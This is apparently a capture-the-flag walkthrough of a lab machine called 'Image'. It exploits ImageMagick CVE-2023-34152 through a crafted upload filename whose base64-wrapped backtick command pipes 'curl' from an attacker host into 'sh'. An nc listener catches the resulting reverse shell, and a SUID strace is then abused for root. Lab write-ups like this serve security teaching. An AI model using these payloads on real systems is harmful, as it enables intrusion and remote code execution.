Skip to content
HackIndex.io

Image Writeup - Proving Grounds

Intermediate Linux
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 2 min read

The Husky Hacker

sysadmin

Image runs a web application that processes uploaded images with ImageMagick. A crafted filename containing a shell command gets executed by the image-processing backend for a www-data shell, and a SUID copy of strace gives root.

Reconnaissance

Nmap identifies a web service on the target.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP 
PORT   STATE SERVICE
80/tcp open  http

The web app describes itself as a tool for inspecting image file formats and characteristics, built on ImageMagick, the open-source suite invoked from the command line as magick (or the legacy convert/identify binaries) for creating, converting and editing raster images.

Enumeration

Uploading a file reveals the ImageMagick version in the response, which narrows down which CVEs apply. The version matches CVE-2023-34152, an ImageMagick issue where a crafted filename is passed unsanitized to a shell when the image is processed.

Exploitation

Filename command injection (CVE-2023-34152)

Create a placeholder image, then rename it so the filename itself contains a backtick-wrapped command.

echo -ne 'test' > en.png

PAYLOAD=$(echo "curl http://$ATTACKER_IP:$ATTACKER_PORT/x | sh" | base64 -w 0)
cp en.png "|en\"\`echo $PAYLOAD | base64 -d | bash\`\".png"

Host the second-stage payload and start a listener before uploading.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
Explain command
-lvnp Listen, verbose, no DNS resolution, on the given port.

Upload the renamed file through the web app. When ImageMagick processes it, the filename is evaluated by the shell and the embedded command runs, catching a shell as www-data.

Privilege Escalation

SUID strace (GTFOBins)

Enumeration turns up a SUID bit on strace.

┌──(kali㉿kali)-[~]
└─$ ls -alh /usr/bin/strace 
-rwsr-sr-x 1 root root 1.6M Apr 16  2020 /usr/bin/strace

strace is listed on GTFOBins for SUID privilege escalation: it can launch another program that inherits its effective root privileges.

┌──(kali㉿kali)-[~]
└─$ strace -o /dev/null /bin/sh -p 
# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)

Effective root. Spawn an interactive shell to stabilize it.

┌──(kali㉿kali)-[~]
└─$ bash -p -i 
bash-5.0# id
uid=0(root) gid=0(root) euid=0(root)

Related

File Upload Exploitation
Blog

File Upload Exploitation

Exploit insecure file upload endpoints to achieve RCE by bypassing extension filters, MIME validatio...
Command Injection Exploitation
Blog

Command Injection Exploitation

Exploit command injection vulnerabilities in web apps via HTTP/HTTPS, covering payload crafting, byp...
SUID and SGID Binary Privilege Escalation
Blog

SUID and SGID Binary Privilege Escalation

Exploit misconfigured SUID/SGID binaries on Linux to escalate privileges by abusing executables that...
File Upload Validation Testing
Blog

File Upload Validation Testing

Tests server-side file upload controls for bypass vulnerabilities including MIME spoofing, extension...

References